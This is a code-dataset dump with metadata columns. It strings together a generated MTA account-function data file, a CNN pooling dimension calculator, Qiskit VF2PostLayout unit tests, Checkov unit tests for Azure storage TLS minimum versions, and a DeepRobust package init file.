"theAccount": """The account you wish to change the name. """,
"name": """The new name. """,
"allowCaseVariations": """Whether the username is case sensitive (if this is set to true, usernames Bob and bob will refer to different accounts) """
},
result='returns a true if the account name was set, false if an invalid argument was specified.' ,
),
url='setAccountName',
),
field=FunctionOOPField(
name='name',
types=[
FunctionType(
names=['bool'],
is_optional=False,
)
],
),
is_static=False,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description=None,
base_function_name="setAccountPassword",
class_name='account',
method=FunctionData(
signature=FunctionSignature(
name='setPassword',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['bool'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='theAccount',
argument_type=FunctionType(
names=['account'],
is_optional=False,
),
default_value=None,
)
],
[
FunctionArgument(
name='password',
argument_type=FunctionType(
names=['string'],
is_optional=False,
),
default_value=None,
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This function sets the password of the specified account.' ,
arguments={
"theAccount": """the account whose password you want to set """,
"password": """the password """
},
result='returns true if the password was set correctly, false otherwise.' ,
),
url='setAccountPassword',
),
field=FunctionOOPField(
name='password',
types=[
FunctionType(
names=['bool'],
is_optional=False,
)
],
),
is_static=False,
)
],
client=[
],
)
]
| 37.930959
| 470
| 0.354435
| 2,900
| 52,193
| 6.267931
| 0.09931
| 0.058921
| 0.050338
| 0.051054
| 0.782692
| 0.769984
| 0.762667
| 0.727458
| 0.626726
| 0.617099
| 0
| 0.000137
| 0.580193
| 52,193
| 1,375
| 471
| 37.958545
| 0.829446
| 0.000977
| 0
| 0.760181
| 1
| 0.012821
| 0.163751
| 0.000518
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.013575
| 0.000754
| 0
| 0.000754
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6477b53d43f918c8a790ba36d2049f79db9f0018
| 1,869
|
py
|
Python
|
utils/single-layer-dim-comp.py
|
egaebel/cifar-neural-networks
|
036b7aed2923dd8fede1fdc241088a91dd83f369
|
[
"MIT"
] | null | null | null |
utils/single-layer-dim-comp.py
|
egaebel/cifar-neural-networks
|
036b7aed2923dd8fede1fdc241088a91dd83f369
|
[
"MIT"
] | null | null | null |
utils/single-layer-dim-comp.py
|
egaebel/cifar-neural-networks
|
036b7aed2923dd8fede1fdc241088a91dd83f369
|
[
"MIT"
] | null | null | null |
from math import floor
def single_layer_compute(width, height, kW, kH, dW, dH, padW=0, padH=0):
# width = 28
# height = 28
# kW = 3
# kH = 3
# dW = 1
# dH = 1
# padW = 0
# padH = 0
owidth = floor((width + 2 * padW - kW) / dW + 1)
oheight = floor((height + 2 * padH - kH) / dH + 1)
return owidth, oheight
def inception_layer_dims(width, height):
column1 = (width, height)
width, height = single_layer_compute(width, height, 3, 3, 1, 1, 0, 0)
column2 = (width, height)
width, height = single_layer_compute(width, height, 5, 5, 1, 1, 0, 0)
column3 = (width, height)
width, height = single_layer_compute(width, height, 3, 3, 1, 1, 0, 0)
column4 = (width, height)
return [column1, column2, column3, column4]
def max_pool_55_11(width, height):
return single_layer_compute(width, height, 5, 5, 1, 1, 0, 0)
def max_pool_33_11(width, height):
return single_layer_compute(width, height, 3, 3, 1, 1, 0, 0)
def max_pool_33_22(width, height):
return single_layer_compute(width, height, 3, 3, 2, 2, 0, 0)
def max_pool_33_33(width, height):
return single_layer_compute(width, height, 3, 3, 3, 3, 0, 0)
def max_pool_22_11(width, height):
return single_layer_compute(width, height, 2, 2, 1, 1, 0, 0)
def max_pool_22_22(width, height):
return single_layer_compute(width, height, 2, 2, 2, 2, 0, 0)
def global_max_pool(width, height, pool_width, pool_height):
return single_layer_compute(width, height,
pool_width, pool_height,
pool_width, pool_height,
0, 0)
width = 32
height = 32
#def single_layer_compute(width, height, kW, kH, dW, dH, padW=0, padH=0):
width, height = max_pool_33_22(width, height)
width, height = max_pool_33_33(width, height)
width, height = max_pool_33_33(width, height)
print("width: %f height: %f" % (width, height))
| 30.639344
| 73
| 0.655966
| 304
| 1,869
| 3.832237
| 0.134868
| 0.32103
| 0.185408
| 0.23691
| 0.740773
| 0.711588
| 0.637768
| 0.590558
| 0.569957
| 0.527897
| 0
| 0.083106
| 0.214553
| 1,869
| 60
| 74
| 31.15
| 0.71049
| 0.074906
| 0
| 0.162162
| 0
| 0
| 0.011635
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.243243
| false
| 0
| 0.027027
| 0.189189
| 0.513514
| 0.027027
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
6486c6de50939a54d5930e572e20a98c1ab8577a
| 144
|
py
|
Python
|
pytorch_bcnn/functions/accuracy/__init__.py
|
psadda/pytorch_bayesian_unet
|
bb22b44c64f5d83d78aa93880da97e0e6168dc1c
|
[
"MIT"
] | 36
|
2019-12-04T02:09:25.000Z
|
2022-03-31T07:18:40.000Z
|
pytorch_bcnn/functions/accuracy/__init__.py
|
IhabBendidi/pytorch_bayesian_unet
|
cc09653a051072790760447c711887e289ed11dc
|
[
"MIT"
] | 2
|
2021-01-24T04:21:16.000Z
|
2021-04-25T19:22:14.000Z
|
pytorch_bcnn/functions/accuracy/__init__.py
|
IhabBendidi/pytorch_bayesian_unet
|
cc09653a051072790760447c711887e289ed11dc
|
[
"MIT"
] | 15
|
2020-04-10T05:29:31.000Z
|
2022-01-03T08:45:02.000Z
|
from __future__ import absolute_import
from .discrete_dice import softmax_discrete_dice
from .discrete_jaccard import softmax_discrete_jaccard
| 28.8
| 54
| 0.895833
| 19
| 144
| 6.210526
| 0.421053
| 0.20339
| 0.355932
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.090278
| 144
| 4
| 55
| 36
| 0.900763
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
64898ffe8f64a964467f128e04d3bb04fdff98b5
| 18,181
|
py
|
Python
|
test/python/transpiler/test_vf2_post_layout.py
|
t-imamichi/qiskit-core
|
8d2eeeac44f97af1e10514cdae4157e5923ff2e5
|
[
"Apache-2.0"
] | 1,456
|
2017-08-05T16:33:05.000Z
|
2018-06-05T04:15:35.000Z
|
test/python/transpiler/test_vf2_post_layout.py
|
t-imamichi/qiskit-core
|
8d2eeeac44f97af1e10514cdae4157e5923ff2e5
|
[
"Apache-2.0"
] | 365
|
2017-08-04T06:09:16.000Z
|
2018-06-05T08:33:37.000Z
|
test/python/transpiler/test_vf2_post_layout.py
|
declanmillar/qiskit-terra
|
43e4a72c9c1537dd3d220a52f7e56423dfdd926c
|
[
"Apache-2.0"
] | 463
|
2017-08-05T04:10:01.000Z
|
2018-06-05T06:43:21.000Z
|
# This code is part of Qiskit.
#
# (C) Copyright IBM 2021.
#
# This code is licensed under the Apache License, Version 2.0. You may
# obtain a copy of this license in the LICENSE.txt file in the root directory
# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.
#
# Any modifications or derivative works of this code must retain this
# copyright notice, and modified files need to carry a notice indicating
# that they have been altered from the originals.
"""Test the VF2Layout pass"""
import retworkx
from qiskit import QuantumRegister, QuantumCircuit
from qiskit.transpiler import CouplingMap, Layout, TranspilerError
from qiskit.transpiler.passes.layout import vf2_utils
from qiskit.transpiler.passes.layout.vf2_post_layout import VF2PostLayout, VF2PostLayoutStopReason
from qiskit.converters import circuit_to_dag
from qiskit.test import QiskitTestCase
from qiskit.test.mock import FakeYorktown, FakeLima, FakeLimaV2, FakeYorktownV2
from qiskit.circuit import Qubit
from qiskit.compiler.transpiler import transpile
class TestVF2PostLayout(QiskitTestCase):
"""Tests the VF2Layout pass"""
seed = 42
def assertLayout(self, dag, coupling_map, property_set):
"""Checks if the circuit in dag was a perfect layout in property_set for the given
coupling_map"""
self.assertEqual(
property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.SOLUTION_FOUND
)
layout = property_set["post_layout"]
for gate in dag.two_qubit_ops():
if dag.has_calibration_for(gate):
continue
physical_q0 = layout[gate.qargs[0]]
physical_q1 = layout[gate.qargs[1]]
self.assertTrue(coupling_map.graph.has_edge(physical_q0, physical_q1))
def assertLayoutV2(self, dag, target, property_set):
"""Checks if the circuit in dag was a perfect layout in property_set for the given
coupling_map"""
self.assertEqual(
property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.SOLUTION_FOUND
)
layout = property_set["post_layout"]
for gate in dag.two_qubit_ops():
if dag.has_calibration_for(gate):
continue
physical_q0 = layout[gate.qargs[0]]
physical_q1 = layout[gate.qargs[1]]
qargs = (physical_q0, physical_q1)
self.assertTrue(target.instruction_supported(gate.name, qargs))
def test_no_constraints(self):
"""Test we raise at runtime if no target or coupling graph specified."""
qc = QuantumCircuit(2)
empty_pass = VF2PostLayout()
with self.assertRaises(TranspilerError):
empty_pass.run(circuit_to_dag(qc))
def test_no_backend_properties(self):
"""Test we raise at runtime if no properties are provided with a coupling graph."""
qc = QuantumCircuit(2)
empty_pass = VF2PostLayout(coupling_map=CouplingMap([(0, 1), (1, 2)]))
with self.assertRaises(TranspilerError):
empty_pass.run(circuit_to_dag(qc))
def test_empty_circuit(self):
"""Test no solution found for empty circuit"""
qc = QuantumCircuit(2, 2)
backend = FakeLima()
cmap = CouplingMap(backend.configuration().coupling_map)
props = backend.properties()
vf2_pass = VF2PostLayout(coupling_map=cmap, properties=props)
vf2_pass.run(circuit_to_dag(qc))
self.assertEqual(
vf2_pass.property_set["VF2PostLayout_stop_reason"],
VF2PostLayoutStopReason.NO_SOLUTION_FOUND,
)
def test_empty_circuit_v2(self):
"""Test no solution found for empty circuit with v2 backend"""
qc = QuantumCircuit(2, 2)
backend = FakeLimaV2()
vf2_pass = VF2PostLayout(target=backend.target)
vf2_pass.run(circuit_to_dag(qc))
self.assertEqual(
vf2_pass.property_set["VF2PostLayout_stop_reason"],
VF2PostLayoutStopReason.NO_SOLUTION_FOUND,
)
def test_skip_3q_circuit(self):
"""Test that the pass is a no-op on circuits with >2q gates."""
qc = QuantumCircuit(3)
qc.ccx(0, 1, 2)
backend = FakeLima()
cmap = CouplingMap(backend.configuration().coupling_map)
props = backend.properties()
vf2_pass = VF2PostLayout(coupling_map=cmap, properties=props)
vf2_pass.run(circuit_to_dag(qc))
self.assertEqual(
vf2_pass.property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.MORE_THAN_2Q
)
def test_skip_3q_circuit_v2(self):
"""Test that the pass is a no-op on circuits with >2q gates with a target."""
qc = QuantumCircuit(3)
qc.ccx(0, 1, 2)
backend = FakeLimaV2()
vf2_pass = VF2PostLayout(target=backend.target)
vf2_pass.run(circuit_to_dag(qc))
self.assertEqual(
vf2_pass.property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.MORE_THAN_2Q
)
def test_best_mapping_ghz_state_full_device_multiple_qregs(self):
"""Test best mappings with multiple registers"""
backend = FakeLima()
qr_a = QuantumRegister(2)
qr_b = QuantumRegister(3)
qc = QuantumCircuit(qr_a, qr_b)
qc.h(qr_a[0])
qc.cx(qr_a[0], qr_a[1])
qc.cx(qr_a[0], qr_b[0])
qc.cx(qr_a[0], qr_b[1])
qc.cx(qr_a[0], qr_b[2])
qc.measure_all()
tqc = transpile(qc, backend, seed_transpiler=self.seed, layout_method="trivial")
initial_layout = tqc._layout
dag = circuit_to_dag(tqc)
cmap = CouplingMap(backend.configuration().coupling_map)
props = backend.properties()
pass_ = VF2PostLayout(coupling_map=cmap, properties=props, seed=self.seed)
pass_.run(dag)
self.assertLayout(dag, cmap, pass_.property_set)
self.assertNotEqual(pass_.property_set["post_layout"], initial_layout)
def test_2q_circuit_5q_backend(self):
"""A simple example, without considering the direction
0 - 1
qr1 - qr0
"""
backend = FakeYorktown()
qr = QuantumRegister(2, "qr")
circuit = QuantumCircuit(qr)
circuit.cx(qr[1], qr[0]) # qr1 -> qr0
tqc = transpile(circuit, backend, layout_method="dense")
initial_layout = tqc._layout
dag = circuit_to_dag(tqc)
cmap = CouplingMap(backend.configuration().coupling_map)
props = backend.properties()
pass_ = VF2PostLayout(coupling_map=cmap, properties=props, seed=self.seed)
pass_.run(dag)
self.assertLayout(dag, cmap, pass_.property_set)
self.assertNotEqual(pass_.property_set["post_layout"], initial_layout)
def test_best_mapping_ghz_state_full_device_multiple_qregs_v2(self):
"""Test best mappings with multiple registers"""
backend = FakeLimaV2()
qr_a = QuantumRegister(2)
qr_b = QuantumRegister(3)
qc = QuantumCircuit(qr_a, qr_b)
qc.h(qr_a[0])
qc.cx(qr_a[0], qr_a[1])
qc.cx(qr_a[0], qr_b[0])
qc.cx(qr_a[0], qr_b[1])
qc.cx(qr_a[0], qr_b[2])
qc.measure_all()
tqc = transpile(qc, backend, seed_transpiler=self.seed, layout_method="trivial")
initial_layout = tqc._layout
dag = circuit_to_dag(tqc)
pass_ = VF2PostLayout(target=backend.target, seed=self.seed)
pass_.run(dag)
self.assertLayoutV2(dag, backend.target, pass_.property_set)
self.assertNotEqual(pass_.property_set["post_layout"], initial_layout)
def test_2q_circuit_5q_backend_v2(self):
"""A simple example, without considering the direction
0 - 1
qr1 - qr0
"""
backend = FakeYorktownV2()
qr = QuantumRegister(2, "qr")
circuit = QuantumCircuit(qr)
circuit.cx(qr[1], qr[0]) # qr1 -> qr0
tqc = transpile(circuit, backend, layout_method="dense")
initial_layout = tqc._layout
dag = circuit_to_dag(tqc)
pass_ = VF2PostLayout(target=backend.target, seed=self.seed)
pass_.run(dag)
self.assertLayoutV2(dag, backend.target, pass_.property_set)
self.assertNotEqual(pass_.property_set["post_layout"], initial_layout)
def test_target_invalid_2q_gate(self):
"""Test that we don't find a solution with a gate outside target."""
backend = FakeYorktownV2()
qc = QuantumCircuit(2)
qc.ecr(0, 1)
dag = circuit_to_dag(qc)
pass_ = VF2PostLayout(target=backend.target, seed=self.seed)
pass_.run(dag)
self.assertEqual(
pass_.property_set["VF2PostLayout_stop_reason"],
VF2PostLayoutStopReason.NO_SOLUTION_FOUND,
)
class TestVF2PostLayoutScoring(QiskitTestCase):
"""Test scoring heuristic function for VF2PostLayout."""
def test_empty_score(self):
"""Test error rate is 0 for empty circuit."""
bit_map = {}
reverse_bit_map = {}
im_graph = retworkx.PyDiGraph()
backend = FakeYorktownV2()
vf2_pass = VF2PostLayout(target=backend.target)
layout = Layout()
score = vf2_pass._score_layout(layout, bit_map, reverse_bit_map, im_graph)
self.assertEqual(0, score)
def test_all_1q_score(self):
"""Test error rate for all 1q input."""
bit_map = {Qubit(): 0, Qubit(): 1}
reverse_bit_map = {v: k for k, v in bit_map.items()}
im_graph = retworkx.PyDiGraph()
im_graph.add_node({"sx": 1})
im_graph.add_node({"sx": 1})
backend = FakeYorktownV2()
vf2_pass = VF2PostLayout(target=backend.target)
layout = Layout(bit_map)
score = vf2_pass._score_layout(layout, bit_map, reverse_bit_map, im_graph)
self.assertAlmostEqual(0.002925, score, places=5)
def test_all_1q_avg_score(self):
"""Test average scoring for all 1q input."""
bit_map = {Qubit(): 0, Qubit(): 1}
reverse_bit_map = {v: k for k, v in bit_map.items()}
im_graph = retworkx.PyDiGraph()
im_graph.add_node({"sx": 1})
im_graph.add_node({"sx": 1})
backend = FakeYorktownV2()
vf2_pass = VF2PostLayout(target=backend.target)
vf2_pass.avg_error_map = vf2_utils.build_average_error_map(
vf2_pass.target, vf2_pass.properties, vf2_pass.coupling_map
)
layout = Layout(bit_map)
score = vf2_utils.score_layout(
vf2_pass.avg_error_map, layout, bit_map, reverse_bit_map, im_graph
)
self.assertAlmostEqual(0.02054, score, places=5)
class TestVF2PostLayoutUndirected(QiskitTestCase):
"""Tests the VF2Layout pass"""
seed = 42
def assertLayout(self, dag, coupling_map, property_set):
"""Checks if the circuit in dag was a perfect layout in property_set for the given
coupling_map"""
self.assertEqual(
property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.SOLUTION_FOUND
)
layout = property_set["post_layout"]
for gate in dag.two_qubit_ops():
if dag.has_calibration_for(gate):
continue
physical_q0 = layout[gate.qargs[0]]
physical_q1 = layout[gate.qargs[1]]
self.assertTrue(coupling_map.graph.has_edge(physical_q0, physical_q1))
def assertLayoutV2(self, dag, target, property_set):
"""Checks if the circuit in dag was a perfect layout in property_set for the given
coupling_map"""
self.assertEqual(
property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.SOLUTION_FOUND
)
layout = property_set["post_layout"]
for gate in dag.two_qubit_ops():
if dag.has_calibration_for(gate):
continue
physical_q0 = layout[gate.qargs[0]]
physical_q1 = layout[gate.qargs[1]]
qargs = (physical_q0, physical_q1)
self.assertTrue(target.instruction_supported(gate.name, qargs))
def test_no_constraints(self):
"""Test we raise at runtime if no target or coupling graph specified."""
qc = QuantumCircuit(2)
empty_pass = VF2PostLayout(strict_direction=False)
with self.assertRaises(TranspilerError):
empty_pass.run(circuit_to_dag(qc))
def test_no_backend_properties(self):
"""Test we raise at runtime if no properties are provided with a coupling graph."""
qc = QuantumCircuit(2)
empty_pass = VF2PostLayout(
coupling_map=CouplingMap([(0, 1), (1, 2)]), strict_direction=False
)
with self.assertRaises(TranspilerError):
empty_pass.run(circuit_to_dag(qc))
def test_empty_circuit(self):
"""Test no solution found for empty circuit"""
qc = QuantumCircuit(2, 2)
backend = FakeLima()
cmap = CouplingMap(backend.configuration().coupling_map)
props = backend.properties()
vf2_pass = VF2PostLayout(coupling_map=cmap, properties=props, strict_direction=False)
vf2_pass.run(circuit_to_dag(qc))
self.assertEqual(
vf2_pass.property_set["VF2PostLayout_stop_reason"],
VF2PostLayoutStopReason.NO_SOLUTION_FOUND,
)
def test_empty_circuit_v2(self):
"""Test no solution found for empty circuit with v2 backend"""
qc = QuantumCircuit(2, 2)
backend = FakeLimaV2()
vf2_pass = VF2PostLayout(target=backend.target, strict_direction=False)
vf2_pass.run(circuit_to_dag(qc))
self.assertEqual(
vf2_pass.property_set["VF2PostLayout_stop_reason"],
VF2PostLayoutStopReason.NO_SOLUTION_FOUND,
)
def test_skip_3q_circuit(self):
"""Test that the pass is a no-op on circuits with >2q gates."""
qc = QuantumCircuit(3)
qc.ccx(0, 1, 2)
backend = FakeLima()
cmap = CouplingMap(backend.configuration().coupling_map)
props = backend.properties()
vf2_pass = VF2PostLayout(coupling_map=cmap, properties=props, strict_direction=False)
vf2_pass.run(circuit_to_dag(qc))
self.assertEqual(
vf2_pass.property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.MORE_THAN_2Q
)
def test_skip_3q_circuit_v2(self):
"""Test that the pass is a no-op on circuits with >2q gates with a target."""
qc = QuantumCircuit(3)
qc.ccx(0, 1, 2)
backend = FakeLimaV2()
vf2_pass = VF2PostLayout(target=backend.target, strict_direction=False)
vf2_pass.run(circuit_to_dag(qc))
self.assertEqual(
vf2_pass.property_set["VF2PostLayout_stop_reason"], VF2PostLayoutStopReason.MORE_THAN_2Q
)
def test_best_mapping_ghz_state_full_device_multiple_qregs(self):
"""Test best mappings with multiple registers"""
backend = FakeLima()
qr_a = QuantumRegister(2)
qr_b = QuantumRegister(3)
qc = QuantumCircuit(qr_a, qr_b)
qc.h(qr_a[0])
qc.cx(qr_a[0], qr_a[1])
qc.cx(qr_a[0], qr_b[0])
qc.cx(qr_a[0], qr_b[1])
qc.cx(qr_a[0], qr_b[2])
qc.measure_all()
tqc = transpile(qc, backend, seed_transpiler=self.seed, layout_method="trivial")
initial_layout = tqc._layout
dag = circuit_to_dag(tqc)
cmap = CouplingMap(backend.configuration().coupling_map)
props = backend.properties()
pass_ = VF2PostLayout(
coupling_map=cmap, properties=props, seed=self.seed, strict_direction=False
)
pass_.run(dag)
self.assertLayout(dag, cmap, pass_.property_set)
self.assertNotEqual(pass_.property_set["post_layout"], initial_layout)
def test_2q_circuit_5q_backend(self):
"""A simple example, without considering the direction
0 - 1
qr1 - qr0
"""
backend = FakeYorktown()
qr = QuantumRegister(2, "qr")
circuit = QuantumCircuit(qr)
circuit.cx(qr[1], qr[0]) # qr1 -> qr0
tqc = transpile(circuit, backend, layout_method="dense")
initial_layout = tqc._layout
dag = circuit_to_dag(tqc)
cmap = CouplingMap(backend.configuration().coupling_map)
props = backend.properties()
pass_ = VF2PostLayout(
coupling_map=cmap, properties=props, seed=self.seed, strict_direction=False
)
pass_.run(dag)
self.assertLayout(dag, cmap, pass_.property_set)
self.assertNotEqual(pass_.property_set["post_layout"], initial_layout)
def test_best_mapping_ghz_state_full_device_multiple_qregs_v2(self):
"""Test best mappings with multiple registers"""
backend = FakeLimaV2()
qr_a = QuantumRegister(2)
qr_b = QuantumRegister(3)
qc = QuantumCircuit(qr_a, qr_b)
qc.h(qr_a[0])
qc.cx(qr_a[0], qr_a[1])
qc.cx(qr_a[0], qr_b[0])
qc.cx(qr_a[0], qr_b[1])
qc.cx(qr_a[0], qr_b[2])
qc.measure_all()
tqc = transpile(qc, backend, seed_transpiler=self.seed, layout_method="trivial")
initial_layout = tqc._layout
dag = circuit_to_dag(tqc)
pass_ = VF2PostLayout(target=backend.target, seed=self.seed, strict_direction=False)
pass_.run(dag)
self.assertLayoutV2(dag, backend.target, pass_.property_set)
self.assertNotEqual(pass_.property_set["post_layout"], initial_layout)
def test_2q_circuit_5q_backend_v2(self):
"""A simple example, without considering the direction
0 - 1
qr1 - qr0
"""
backend = FakeYorktownV2()
qr = QuantumRegister(2, "qr")
circuit = QuantumCircuit(qr)
circuit.cx(qr[1], qr[0]) # qr1 -> qr0
tqc = transpile(circuit, backend, layout_method="dense")
initial_layout = tqc._layout
dag = circuit_to_dag(tqc)
pass_ = VF2PostLayout(target=backend.target, seed=self.seed, strict_direction=False)
pass_.run(dag)
self.assertLayoutV2(dag, backend.target, pass_.property_set)
self.assertNotEqual(pass_.property_set["post_layout"], initial_layout)
| 40.492205
| 100
| 0.651999
| 2,269
| 18,181
| 4.986778
| 0.098722
| 0.039859
| 0.033142
| 0.009898
| 0.884224
| 0.872117
| 0.869289
| 0.866991
| 0.866372
| 0.866372
| 0
| 0.024255
| 0.247126
| 18,181
| 448
| 101
| 40.582589
| 0.802382
| 0.130356
| 0
| 0.845029
| 0
| 0
| 0.033604
| 0.020962
| 0
| 0
| 0
| 0
| 0.128655
| 1
| 0.081871
| false
| 0.225146
| 0.02924
| 0
| 0.125731
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
64c5110a531e2cc6dff0ae2c80d574e65c23ef40
| 5,175
|
py
|
Python
|
tests/terraform/checks/resource/azure/test_StorageAccountMinimumTlsVersion.py
|
antonblr/checkov
|
9415c6593c537945c08f7a19f28bdd8b96966f67
|
[
"Apache-2.0"
] | 4,013
|
2019-12-09T13:16:54.000Z
|
2022-03-31T14:31:01.000Z
|
tests/terraform/checks/resource/azure/test_StorageAccountMinimumTlsVersion.py
|
antonblr/checkov
|
9415c6593c537945c08f7a19f28bdd8b96966f67
|
[
"Apache-2.0"
] | 1,258
|
2019-12-17T09:55:51.000Z
|
2022-03-31T19:17:17.000Z
|
tests/terraform/checks/resource/azure/test_StorageAccountMinimumTlsVersion.py
|
antonblr/checkov
|
9415c6593c537945c08f7a19f28bdd8b96966f67
|
[
"Apache-2.0"
] | 638
|
2019-12-19T08:57:38.000Z
|
2022-03-30T21:38:37.000Z
|
import unittest
import hcl2
from checkov.common.models.enums import CheckResult
from checkov.terraform.checks.resource.azure.StorageAccountMinimumTlsVersion import check
class TestAppServiceMinTLSVersion(unittest.TestCase):
def test_failure_option_not_present(self):
hcl_res = hcl2.loads("""
resource "azurerm_storage_account" "example" {
name = "example"
resource_group_name = data.azurerm_resource_group.example.name
location = data.azurerm_resource_group.example.location
account_tier = "Standard"
account_replication_type = "GRS"
network_rules {
default_action = "Allow"
ip_rules = ["100.0.0.1"]
virtual_network_subnet_ids = [azurerm_subnet.example.id]
}
}
""")
resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example']
scan_result = check.scan_resource_conf(conf=resource_conf)
self.assertEqual(CheckResult.FAILED, scan_result)
def test_failure_insecure_option_present_tls10(self):
hcl_res = hcl2.loads("""
resource "azurerm_storage_account" "example" {
name = "example"
resource_group_name = data.azurerm_resource_group.example.name
location = data.azurerm_resource_group.example.location
account_tier = "Standard"
account_replication_type = "GRS"
min_tls_version = "TLS1_0"
network_rules {
default_action = "Allow"
ip_rules = ["100.0.0.1"]
virtual_network_subnet_ids = [azurerm_subnet.example.id]
}
}
""")
resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example']
scan_result = check.scan_resource_conf(conf=resource_conf)
self.assertEqual(CheckResult.FAILED, scan_result)
def test_failure_insecure_option_present_tls11(self):
hcl_res = hcl2.loads("""
resource "azurerm_storage_account" "example" {
name = "example"
resource_group_name = data.azurerm_resource_group.example.name
location = data.azurerm_resource_group.example.location
account_tier = "Standard"
account_replication_type = "GRS"
min_tls_version = "TLS1_1"
network_rules {
default_action = "Allow"
ip_rules = ["100.0.0.1"]
virtual_network_subnet_ids = [azurerm_subnet.example.id]
}
}
""")
resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example']
scan_result = check.scan_resource_conf(conf=resource_conf)
self.assertEqual(CheckResult.FAILED, scan_result)
def test_success_secure_option_present(self):
hcl_res = hcl2.loads("""
resource "azurerm_storage_account" "example" {
name = "example"
resource_group_name = data.azurerm_resource_group.example.name
location = data.azurerm_resource_group.example.location
account_tier = "Standard"
account_replication_type = "GRS"
min_tls_version = "TLS1_2"
network_rules {
default_action = "Allow"
ip_rules = ["100.0.0.1"]
virtual_network_subnet_ids = [azurerm_subnet.example.id]
}
}
""")
resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example']
scan_result = check.scan_resource_conf(conf=resource_conf)
self.assertEqual(CheckResult.PASSED, scan_result)
def test_success_future_option_present(self):
hcl_res = hcl2.loads("""
resource "azurerm_storage_account" "example" {
name = "example"
resource_group_name = data.azurerm_resource_group.example.name
location = data.azurerm_resource_group.example.location
account_tier = "Standard"
account_replication_type = "GRS"
min_tls_version = "TLS1_3"
network_rules {
default_action = "Allow"
ip_rules = ["100.0.0.1"]
virtual_network_subnet_ids = [azurerm_subnet.example.id]
}
}
""")
resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example']
scan_result = check.scan_resource_conf(conf=resource_conf)
self.assertEqual(CheckResult.PASSED, scan_result)
if __name__ == '__main__':
unittest.main()
| 45.79646
| 89
| 0.551691
| 476
| 5,175
| 5.615546
| 0.155462
| 0.072952
| 0.078563
| 0.104751
| 0.899364
| 0.891508
| 0.891508
| 0.891508
| 0.891508
| 0.891508
| 0
| 0.016149
| 0.365797
| 5,175
| 112
| 90
| 46.205357
| 0.798294
| 0
| 0
| 0.742574
| 0
| 0
| 0.6943
| 0.201932
| 0
| 0
| 0
| 0
| 0.049505
| 1
| 0.049505
| false
| 0.019802
| 0.039604
| 0
| 0.09901
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
64c5f7674df0e36c1bd797d0e288c1045b3025f6
| 285
|
py
|
Python
|
deeprobust/image/defense/__init__.py
|
smaranjitghose/DeepRobust
|
91f2b922e61a3fa0987e37b7ea6c1cd9150c1c81
|
[
"MIT"
] | 647
|
2020-02-08T02:13:21.000Z
|
2022-03-31T07:44:00.000Z
|
deeprobust/image/defense/__init__.py
|
qilong-zhang/DeepRobust
|
276a7048aded2cf3a190d3851ffd4587b7d1dd49
|
[
"MIT"
] | 77
|
2020-03-21T11:27:30.000Z
|
2022-03-23T10:55:53.000Z
|
deeprobust/image/defense/__init__.py
|
qilong-zhang/DeepRobust
|
276a7048aded2cf3a190d3851ffd4587b7d1dd49
|
[
"MIT"
] | 139
|
2020-03-04T00:25:12.000Z
|
2022-03-21T15:45:29.000Z
|
from deeprobust.image.defense import base_defense
from deeprobust.image.defense import pgdtraining
from deeprobust.image.defense import fgsmtraining
from deeprobust.image.defense import TherEncoding
from deeprobust.image.defense import trades
from deeprobust.image.defense import YOPO
| 40.714286
| 49
| 0.873684
| 37
| 285
| 6.702703
| 0.297297
| 0.33871
| 0.459677
| 0.629032
| 0.774194
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.084211
| 285
| 6
| 50
| 47.5
| 0.950192
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
